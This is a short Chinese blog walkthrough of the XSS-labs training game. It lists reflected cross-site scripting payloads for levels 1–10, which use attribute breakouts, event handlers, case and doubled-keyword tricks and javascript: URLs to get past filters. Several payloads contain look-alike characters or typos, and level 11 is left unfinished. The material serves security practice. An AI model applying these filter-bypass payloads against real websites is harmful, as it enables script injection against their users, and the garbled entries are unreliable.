-
XSS-labs通关游戏
Level 1
Palyload：name=<script>alert(/test/)</script>
Level 2
Playload：keyword="><script>alert(/xss/)</script><"
Level 3
Palyload：keyword=' οnmοuseοver=’alert(/xss/)’
Level 4
Palyload：keyword=" οnmοuseοver='alert(/xss/)'
Level 5
Playload：“><a href=”javascript:alert:alert(/xss/)”>click</a>
Level 6
Playload：keyword=" ONmouseover='alert(/xss/)'
Level 7
Playload：keyword=" oonnmouseover='alert(/xss/)'
Playlaod：keyword="><a hhrefref="javascscriptript:alert(/xss/)">click</a>
Level 8
Playload：keyword=javascript:alert(/xss/)
Playload：keyword=javascript:alert(/xss/) html实体编码绕过
Level 9
Playload：keyword=javascript:alert('http://www.baidu.com')
Level 10
Playload：t_sort=" type="botton" οnmοuseοver='alert(/xss/)'
t_sort=click" type="button" οnclick="alert(/xss/)"
查看源码：
测试发现：
结果：
Level 11
Playload：
稍等，测试中。。。
-
相关阅读:
个人如何选择主观交易还是程序化交易接口？
净重新分类指数NRI的计算
猿创征文｜Spring Boot日志
实用数据结构【优先队列】 - 优先队列详解
React Router，常用API有哪些？
刷题学习记录
C++对象
ASP.NET Core依赖注入系统学习教程：容器对构造函数选择的策略
（附源码）springboot太原学院贫困生申请管理系统 毕业设计 101517
Symbol
- 原文地址：https://blog.csdn.net/qq_44932745/article/details/125454552